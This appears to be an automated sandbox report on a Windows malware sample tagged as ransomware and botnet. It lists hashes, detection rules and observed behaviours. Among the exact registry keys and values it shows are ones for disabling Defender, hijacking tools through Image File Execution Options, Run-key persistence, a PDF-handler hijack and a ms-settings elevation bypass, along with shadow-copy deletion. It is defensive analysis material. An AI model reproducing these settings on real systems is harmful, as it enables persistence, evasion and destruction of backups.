Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
07/05/2026, 07:35
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
46 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20250619-en
windows11-21h2-x64
44 signatures
150 seconds
General
- Target 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 50KB
- Sample260507-je2prshs8v
- SHA256 616cac54075a2d62bbdd6437e513e8354b64a93da466efa6d31ed3e71cd3d2ea
- MD5 277a6da45b885e529323a04ee02d8dd6
- SHA1 6ff19057caccb2e456f1b52d145ea76d90245b1e
- SHA512 540adf987d37558b57daf2f48646e0b31591552b250186bdfa5397ff37508bc282b73b7d0d3f446a87a5df22842de3d4e6eda3a592348adf36f88f1592f2c6b7
- SSDEEP 768:ud4K1X41QZ+6IN1/jpf0ZxD8LNJy/3/RgL4RC1XXGblfppGKFc5xN:aTa+ZNklpCArM3GL4REXGblfLGuc5
- TLSH T11633F74477F94212F1FF4ABA49B19611AB30B8979C22D78E06D5058E1AB3740CDE8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4636-0-0x0000000000400000-0x0000000000412000-memory.dmp disable_win_def behavioral1/files/0x000700000002491a-2448.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Custom signatureDetects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral1/memory/4636-0-0x0000000000400000-0x0000000000412000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral1/files/0x000700000002491a-2448.dat INDICATOR_SUSPICIOUS_GENRansomware - Custom signatureDetects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral1/memory/4636-0-0x0000000000400000-0x0000000000412000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral1/files/0x000700000002491a-2448.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5152 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2180 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 2920 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3236 sc.exe 2212 sc.exe 2076 sc.exe 5456 sc.exe 1592 sc.exe 652 sc.exe 5880 sc.exe 2772 sc.exe 3228 sc.exe 5028 sc.exe 1248 sc.exe 3868 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 2000 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 2032 ipconfig.exe 2384 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2500 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5076 vssadmin.exe 3412 vssadmin.exe 2204 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134226129552266470" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command 